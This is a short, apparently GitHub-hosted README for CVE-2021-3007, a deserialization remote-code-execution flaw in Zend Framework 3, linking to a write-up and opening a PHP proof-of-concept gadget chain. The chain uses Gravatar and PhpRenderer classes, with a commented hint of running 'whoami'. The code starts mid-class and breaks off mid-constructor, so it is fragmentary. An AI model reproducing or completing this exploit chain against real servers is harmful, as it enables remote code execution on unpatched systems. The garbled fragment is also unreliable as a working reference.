# CVE-2021-3007 zend framework3 反序列化 rce
详细分析：https://github.com/Ling-Yizhou/zendframework3-/blob/main/zend%20framework3%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20rce.md
PoC1:
```php
streamName = $streamName;
}
}
}
namespace Zend\View\Helper{
class Gravatar{
protected $view;
// protected $attributes = ["whoami"=>'a'];
protected $attributes = [1=>'a'];
public function __construct($view)
{
$this->view=$view;
}
}
}
namespace Zend\View\Renderer{
class PhpRenderer{
private $__helpers;
public function __construct($__helpers)
{
